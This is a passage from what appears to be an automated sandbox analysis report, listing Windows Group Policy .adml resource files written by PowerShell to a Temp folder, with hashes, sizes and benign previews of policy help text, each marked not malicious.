Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Recovery</displayName>.. <description>Recovery</description>.. <resources>.. <stringTable>.. <string id="WinRE">Recovery</string>.. <string id="ConfigureWinRESetup">Allow restore of system to default state</string>.. <string id="ConfigureWinRESetup_help"> Requirements: Windows 7.. Description: This policy setting controls whether users can access the options in Recovery (in Control Panel) to restore the computer to the original state or from a user-created system image..... If you enable or do not configure this policy setting, the items "Use a system image you created earlier to recover your computer" and "Reinstall Windows" (

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Reliability.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5310
Entropy (8bit):	4.781992069178365
Encrypted:	false
SSDEEP:	96:LeD5pmAydEk3E7mEvPexos3w33I3tcGBQ4pdV:E8EkCmE3exoiO32tTBQy
MD5:	0B7DB39B4E35B6787C19C79280664C11
SHA1:	870AA05E92B4B0FACEC8EC4E7D8F5C428748A5A4
SHA-256:	3FC94A050B5B845BF0D21AB6D0718A5BC0FD292624A6AA4E7D8E06317DE34863
SHA-512:	6E9A356BCE00B25A998A0B63BF6C0B29521DE43DD155712A025311518DC212384C4599B48D403E3E1DD2580E3B5F1D6688930D7441A66488C6A7870EF3233F87
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EE_EnablePersistentTimeStamp">Enable Persistent Time Stamp</string>.. <string id="EE_EnablePersistentTimeStamp_Help">This policy setting allows the system to detect the time of unexpected shutdowns by writing the current time to disk on a schedule controlled by the Timestamp Interval.....If you enable this policy setting, you are able to specify how often the Persistent System Timestamp is refreshed and subsequently written to the disk. You can specify the Timestamp Interval in seconds.....If you disable this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RemoteAssistance.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (455), with CRLF line terminators
Category:	dropped
Size (bytes):	10373
Entropy (8bit):	4.861749081876546
Encrypted:	false
SSDEEP:	192:E2YJPhavu9rf+gZnyy8uI30F3GF3QRcb4vervzv6lQ4:Nfu9rf+CZ8uI30F3GF3QRcbSebjqQ4
MD5:	F239E9C6B37ABE7AEE14C64FCD64D86A
SHA1:	D703C2A53723A2F933DE2456E706154A29194247
SHA-256:	428CCC88349680A1684A33176FED4E4B8BC544EC7B29DCD71CB17BFFE274D16F
SHA-512:	8221ABD08D82C27C4AAE3136E8E085C56BF8FF3D4059583F744C5837C61AAD0832D9AE5E84EF77780890A01684EB4F5D5CA33A7E35986435F771FDB67F66D11F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RA_Logging">Turn on session logging</string>.. <string id="RA_Logging_Help">This policy setting allows you to turn logging on or off. Log files are located in the user's Documents folder under Remote Assistance.....If you enable this policy setting, log files are generated.....If you disable this policy setting, log files are not generated.....If you do not configure this setting, application-based settings are used.</string>.. <string id="RA_Optimize_Bandwidth">Turn on bandwidth optimization</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RemovableStorage.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (302), with CRLF line terminators
Category:	dropped
Size (bytes):	13642
Entropy (8bit):	4.756771021239847
Encrypted:	false
SSDEEP:	192:EnzGj8hc8ROewd8BWwfZ6P0OuI3CDzGvnt7fdXV/gBLtDNGaUgmGaUTGaUFmGaU6:NtjIvGaUBGaUTGaUEGaUUGaUW
MD5:	3C7C9203B770747E42F16415384ACA91
SHA1:	577E03EBA471F120DB1A1D96648E18E215C57982
SHA-256:	61727D2632E0E816A562C6489E5732206A94D3F3581D35042F72FC03A7ECD3D0
SHA-512:	7C3F140959497EC753935942A4CB063BA3D431D1F5C4A6FA16BEBD065DE5280C9C0AC34E2A938E413CC7B68A78D2C33BE73DE58F74B1BD71A4A8DBDD12ABF080
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AccessRights_RebootTime">Set time (in seconds) to force reboot</string>.. <string id="AccessRights_RebootTime_Help">This policy setting configures the amount of time (in seconds) that the operating system waits to reboot in order to enforce a change in access rights to removable storage devices.....If you enable this policy setting, you can set the number of seconds you want the system to wait until a reboot.....If you disable or do not configure this setting, the operating system does not force a reboot.....N

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Scripts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	12538
Entropy (8bit):	4.768527840947223
Encrypted:	false
SSDEEP:	192:E4w/xBxQzr/8RRROAHPKc16VcDuJxR1Vi3ia67NitbK0pft+pw7TUlyUAGSJ:wnRRPgHkS9A9D1P
MD5:	6B1C987D0C322DD0DD627EC2020F90AC
SHA1:	C25254DCB050E342AB84633F084B9ABC06EF9239
SHA-256:	EBC840298B0A1FB37F1DB1DF288FC5FAEA981B2F8AE4BE9E0E07D11A1E9E0FB5
SHA-512:	915A3DB4C3C0572BE46009BA976FFB606FD304B5908207F288C06DFA6A2281153304E7FF368E446BB8CE5217E0DB4FF849DD2119904007057D85ADEBB9B75325
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="MaxGPOScriptWaitPolicy">Specify maximum wait time for Group Policy scripts</string>.. <string id="MaxGPOScriptWaitPolicy_Help">This policy setting determines how long the system waits for scripts applied by Group Policy to run. ....This setting limits the total time allowed for all logon, logoff, startup, and shutdown scripts applied by Group Policy to finish running. If the scripts have not finished running when the specified time expires, the system stops script processing and records an error event.....If y

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Securitycenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (622), with CRLF line terminators
Category:	dropped
Size (bytes):	2466
Entropy (8bit):	4.781426635707619
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKBtxHxPUNbhQaB6+J5KaeKUYF1vKUYox2P1C9L5GkMo/2VcSurcFV:LeD5pmdtxHxG64MYfYo8NQL8IGrccFV
MD5:	BB7C4CF9B3DDFEFAE5FF4C38B5026EB3
SHA1:	157C536B83CB87B194C8BF8018A965EF72DC314B
SHA-256:	F49034EF8C96F7E5A19AFB7873AFB1A3F289630390E36C163B12FD2DDC15637A
SHA-512:	DE9E2E1824A0B9B03AFC476090D361DD5808C6D0B6C8EB70C7DFC590D8B222C78D062CAB2580E8F74F243CD713EB268BFC72BE232698F15CA269EE007F6B41DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SecurityCenter">Security Center</string>.. <string id="SecurityCenter_SecurityCenterInDomain">Turn on Security Center (Domain PCs only)</string>.. <string id="SecurityCenter_SecurityCenterInDomain_Help">This policy setting specifies whether Security Center is turned on or off for computers that are joined to an Active Directory domain. When Security Center is turned on, it monitors essential security settings and notifies the user when the computer might be at risk. The Security Center Control Panel categ

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sensors.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	4.6874178503699655
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKcgWEhQnwgbc+ijJzo/DQxCGgbxCEinEqcN8gUOZFV:LeD5pmkRLRSo/k0V0EvN4CFV
MD5:	7CAFF134D90FB9D9BFFD1931A3B7A077
SHA1:	6C1305F61CF2978F73F3C8DF3FB7639BC3761863
SHA-256:	B102166CF6A473DCE4ADC301156086D0EBA710EFFFA1C4A569EA480994A7F5B4
SHA-512:	2D7427C5572797903A6539A872B9AF3062F23BDF24E3004EC61388D321ABBDCF1D063DB00F5703BDC708AA1AE1B5FCF3262F961C3E9CFBC44BFDE8C001A4583D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableSensors">Turn off sensors</string>.. <string id="DisableSensors_Explain">.. This policy setting turns off the sensor feature for this computer..... If you enable this policy setting, the sensor feature is turned off, and all programs on this computer cannot use the sensor feature..... If you disable or do not configure this policy setting, all programs on this computer can use the sensor feature... </string>.. <string id="DisableLocation">Turn off location</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ServerManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (387), with CRLF line terminators
Category:	dropped
Size (bytes):	4955
Entropy (8bit):	4.805565480068189
Encrypted:	false
SSDEEP:	96:LeD5pmHhpF4FGEkPDY1o1NucOc3EfqYz0LYS0zYS0jfBQ3V:E2hpi4rPE1o1NudbrUMqfBQF
MD5:	65C390CEDEDFD130518B61FA1235250A
SHA1:	6A55E7AC36FE463A16AF0BE1F7F8B5C1848C0D97
SHA-256:	E47082B33ACA0FB727E6486ECA05ED0F7E309923D214DF7D6D1E9E1BB6B58A93
SHA-512:	FAC7D91F8DAE73E2719FE7D9E8BDAE71A4B3DD4375943DA8F0B9992E4554E0E95A503BB5F5EEAC6E6475209F9051B343D2928D028A3355EA58F987DD76ADD03D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008OrWindowsServer2008R2Only">Windows Server 2008 and Windows Server 2008 R2 operating systems only</string>.. <string id="DoNotLaunchServerManager">Do not display Server Manager automatically at logon</string>.. <string id="DoNotLaunchServerManagerHelp">This policy setting allows you to turn off the automatic display of Server Manager at logon.....If you enable this policy setting, Server Manager is not displayed automatically when a user logs on to the server.....If you disable t

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Servicing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (408), with CRLF line terminators
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	4.892231615075483
Encrypted:	false
SSDEEP:	48:cs+D5p8lF9YGTBdVhcNZPhcNspL8K5pWNLcrdYAkWQ/tgiwavEARV:P+D5iF9YGTnVhcNhhcNspL8KiNFBWQ/P
MD5:	C16E4D55B366521038B07E5B2EAA4D1A
SHA1:	C8FA7021E315736D6ED23ACA59D8B0CC3460FDD2
SHA-256:	0FB29A9479B51033FDE4838E9E61D1D382B173EF4F43C00799EF97940F0E498C
SHA-512:	9DC2BFAAE5885EE74E4AB8C7E9D0B6557550F8E6315199F23006F202AA234244CA1802D2D289F95E3213CA577DBD14D7D086CED34BDE2349C127CB31141E2512
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Servicing Policies</displayName>.. <description>Windows Servicing Policies</description>.. <resources>.. <stringTable>.. <string id="CloudFulfillmentGPO">Specify settings for optional component installation and component repair</string>.. <string id="CloudFulfillmentGPOExplanation">..This policy setting specifies the network locations that will be used for the repair of operating system corruption and for enabling optional features that have had their payload files removed.....If you enable this policy setting and specify the new location, the files in that location will be used to repair operating system corruption and for enabling

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SettingSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9740
Entropy (8bit):	4.723278539465857
Encrypted:	false
SSDEEP:	96:PD5pmpC5ZTUe/5edwuTysvjk9yGfUqWxOV:ftHUwueIjkkGfnWw
MD5:	A46525DCC0BBEFF3717004AA7D5E686B
SHA1:	85429467F34FFB172D7E404E60542C50090C6AFE
SHA-256:	044A3C384EC4E46E9EE6AA4BF4D28F3027A758DE7A9163324FE80EE466E935E5
SHA-512:	551C90AD33D7ECBE6E0D45B1FF22ED092C239EFC63189D7D0E0FF1147E82C3694ECE958DF4DF5A89F87E4CE966284D9317CEE93D6F38B76152ED26A3D2DC54A0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. General -->.. <string id="SettingSyncCategory">Sync your settings</string>.... Main policy -->.. <string id="DisableSettingSync">Do not sync</string>.. <string id="DisableSettingSync_Help">Prevent syncing to and from this PC. This turns off and disables the "sync your settings" switch on the "sync your settings" page in PC Settings.....If you enable this policy setting, "sync your settings" will be turned off, and none of the "sync your setting" groups will be synced on this PC.....Use the option

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Setup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2060
Entropy (8bit):	4.847450101986129
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ybvkTvKvkTlE6OmYyfbTebTlCa/Yi7R0ryMOVjoV:cgeD5x8gm8fKnxRRxYEbQRj/Yi7S0oV
MD5:	9940A876376DFACA4C22AEB49D5E98D1
SHA1:	4092EC36B7F64EB2D076D11F04AFBB38C95A9AEB
SHA-256:	F0AF5022E574F037FEFF288B1944788E08E9F1C3CC29E2968022B05EE8A12D71
SHA-512:	DE5BF65874ABDF5AF96EA22C5D97170AE5B3312B39A2FB3C19F1E33D0A7AC71F2633510E2CE1C87794FE818CD50DA4FB2D328E69C1E0005D9C8D86B96A88C1D8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ServicePackSourcePath">Specify Windows Service Pack installation file location</string>.. <string id="ServicePackSourcePath_Help">Specifies an alternate location for Windows Service Pack installation files.....If you enable this policy setting, enter the fully qualified path to the new location in the "Windows Service Pack Setup file path" box.....If you disable or do not configure this policy setting, the Windows Service Pack Setup source path will be the location used during the last time Windows Service Pac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SharedFolders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1850
Entropy (8bit):	4.859149246040625
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKgJxujBDrfS1Z/yqqqYu5BV5ocfS1Z/MFV:LeD5pmCeKV4JcKVMFV
MD5:	B512AC9CA34BC2605D206FA9D22778F1
SHA1:	21E31C62BA3B2E963A2A78B9490270D87E14F082
SHA-256:	3649D182A6D570C693D564E11B80127960E3F34BD98C2DABC5E5A1F640B7EACF
SHA-512:	2F726D9A4E067AC354A7C6E5EC36EC5973CD04731E4A14DF3DE30061447A077F38F8B4752112E0DB0BA3E1DACCB6A0C98F148F4FB00FCBEE07B6D6A7206020F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PublishDfsRoots">Allow DFS roots to be published</string>.. <string id="PublishDfsRoots_Help">This policy setting determines whether the user can publish DFS roots in Active Directory Domain Services (AD DS).....If you enable or do not configure this policy setting, users can use the "Publish in Active Directory" option to publish DFS roots as shared folders in AD DS .....If you disable this policy setting, users cannot publish DFS roots in AD DS and the "Publish in Active Directory" option is disabled. Note:

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sharing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (372), with CRLF line terminators
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	4.766622027240466
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMQ44nWQqxjgwrGOnLbvE4juaM8oFV:LeD5pmdpMGOnN6aM8oFV
MD5:	F76CBCDF77EAC5FEF366F9F9D45F5E76
SHA1:	89F54964A2B4E1DE63448AADFCC678470886DDAF
SHA-256:	56D6E0E7FD98836C698D345735B4F7633DF49C455500C41B20E7B5D6FDF40AB3
SHA-512:	D86BB5E1DA555D6F09FEA4E3C930AE560E777F64B0C38A225201CC401869A82A0A05A5C3E874310C1F4C0BA33F131B607CBA7DAB8BE61AC247F44CCB080401D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoInplaceSharing">Prevent users from sharing files within their profile.</string>.. <string id="NoInplaceSharing_Help">This policy setting specifies whether users can share files within their profile. By default users are allowed to share files within their profile to other users on their network after an administrator opts in the computer. An administrator can opt in the computer by using the sharing wizard to share a file within their profile.....If you enable this policy setting, users cannot share files w

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Shell-CommandPrompt-RegEditTools.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	4.777406183575808
Encrypted:	false
SSDEEP:	96:LeD5pmrH1U680U30fNS57tc/Ja80+fgT9lsc/osa80+fVxV:EYU6xU3RtckQ0zscCQVT
MD5:	3925D35054AB425A8F3690C2FA33BDFC
SHA1:	A2DFC384B4F8351B40B9406A94ADEFB1B85F9C7B
SHA-256:	BEC7CF7EC0CDFD01BB8677C20C887988A642742F136C0437D49A67F218087842
SHA-512:	AE7CABBE1C4E7618E787F9D3BDB621CB32E99F5802114A20BCF6ADA2E7B52F7EE12556E8023B38142FF42EA580624DAB40D988B23AEE4BB4BB9E2A8905B175D1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableCMD">Prevent access to the command prompt</string>.. <string id="DisableCMD_Help">This policy setting prevents users from running the interactive command prompt, Cmd.exe. This policy setting also determines whether batch files (.cmd and .bat) can run on the computer.....If you enable this policy setting and the user tries to open a command window, the system displays a message explaining that a setting prevents the action.....If you disable this policy setting or do not configure it, users can run Cmd.

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ShellWelcomeCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	4.934703334666594
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8Cnid3PRM5LDa3IQWFV:cgeD5x8gm8fK4IPRMNe3IQWFV
MD5:	E1C3A48A813C8E8D7F076966FFF1782F
SHA1:	E678B2457A0B3D7FA37C25899823E1DCBF335552
SHA-256:	778A48685463098ECBAB0E95EC4BA4CC299704453A10B790404D636C78495A6F
SHA-512:	E7B2002E5ABEDBC1C2E877143F6296A060FF2BE18CDF9743119F068CBA422A4D4B502E7E69DCABA5D1A5BBB20E42D9EA978479A3A996040E4F9CC5413F1E1F5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RestrictWelcomeCenter">Do not display the Welcome Center at user logon</string>.. <string id="RestrictWelcomeCenter_Help">This policy setting prevents the display of the Welcome Center at user logon.....If you enable this policy setting, the Welcome Center is not displayed at user logon. The user can access the Welcome Center using the Control Panel or Start menu.....If you disable or do not configure this policy setting, the Welcome Center is displayed at user logon.</string>.. </stringTable>.. </resource

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Sidebar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	4.808024425882859
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKv7uPPd4IaFpT6P0vQWjp3lFV:LeD5pm38BG56i1FV
MD5:	FF097ECD6B6D14BEEB70B111DEB1EE8C
SHA1:	2AE1D93696A7892254D05D9C73B21360B056EDAE
SHA-256:	70198BCD06B06CBBFBE1CCDDDC0815D3BB2239CAD51403E32340C20B892A06D9
SHA-512:	E1C41A1B9CC3CE9987CFA52447A24CCEA55CE38F4F09AAC5071365CF206D28D94F7C4CE77B3B693D019084DA2BD5F9646EEB287BA8C4CBDADB06C6614EF87F03
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Sidebar">Desktop Gadgets</string>.. <string id="TurnOffSidebar">Turn off desktop gadgets</string>.. <string id="TurnOffSidebar_Explain">This policy setting allows you to turn off desktop gadgets. Gadgets are small applets that display information or utilities on the desktop.....If you enable this setting, desktop gadgets will be turned off.....If you disable or do not configure this setting, desktop gadgets will be turned on.....The default is for desktop gadgets to be turned on.</string>.. <string

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SkyDrive.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (698), with CRLF line terminators
Category:	dropped
Size (bytes):	3086
Entropy (8bit):	4.858829936806005
Encrypted:	false
SSDEEP:	48:c/x8gZmwKweH8weDCmOw7khgLf6aweXLwepnFo7hgjfAwleJ9dwBb7DQweFXKV:wpZmmymCmCeSVAo7hzzM7DXLV
MD5:	7C6ABEF96D8FC4473B348F9CC6AB14CA
SHA1:	4ED99551F1EF8DCD42BC5A66A9072739CBB106A8
SHA-256:	0D9F815210F123D3A3201EA0530F0C5F4C8C2B3CF6AE146402D1B3D7E83E77C6
SHA-512:	A360D6F086C9173869E70027EEB9BA07CE40DEA1098E0582206F7A4D3EF101DDD4DDBCB5A7CB95445CC4394FB09577D6C81DACEC6791F592DE18F80A515C75C8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Prevent OneDrive file sync</displayName>.. <description>Prevent files from being automatically synced to OneDrive</description>.. <resources>.. <stringTable>.. general -->.. <string id="SkydriveSettingCategory">OneDrive</string>.. .. prevent file sync-->.. <string id="PreventSkydriveFileSync">Prevent the usage of OneDrive for file storage</string>.. <string id="PreventSkydriveFileSync_help">This policy setting lets you prevent apps and features from working with files on OneDrive...If you enable this policy setting:....* Users can.t access OneDrive from the OneDrive app and file picker...* Windows Store apps can.t access OneDrive using the WinRT API...* OneDrive

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Smartcard.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (505), with CRLF line terminators
Category:	dropped
Size (bytes):	13897
Entropy (8bit):	4.622403059025047
Encrypted:	false
SSDEEP:	192:ErlLxCEj//4LPwqCop5PqByD2mqKzeYWApNHXsV3sCkm0gb9DiCPoQCDEi1969sp:OHal3as861969sMot
MD5:	8EE4A00ED150375834D94CDF3644BB08
SHA1:	2818877ACB6381F12CB1583B8C366B8E2E8FB8CF
SHA-256:	CF6F61B50CD4BF427834FEC9D7D5C6FBDC0CDB3C5E8E07A66F04BA3D60E093B9
SHA-512:	4E4B668272BF4F64C4C47E09A2F38422D49391C418A62CB1E955A683B7045E0646FDC33E5565902F20281D28406074FFC07FC9A5AB9A4154B6F2D496C3DD1087
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowCertificatesWithNoEKU">Allow certificates with no extended key usage certificate attribute</string>.. <string id="AllowCertificatesWithNoEKU_help">This policy setting lets you allow certificates without an Extended Key Usage (EKU) set to be used for logon.....In versions of Windows prior to Windows Vista, smart card certificates that are used for logon require an enhanced key usage (EKU) extension with a smart card logon object identifier. This policy setting can be used to modify 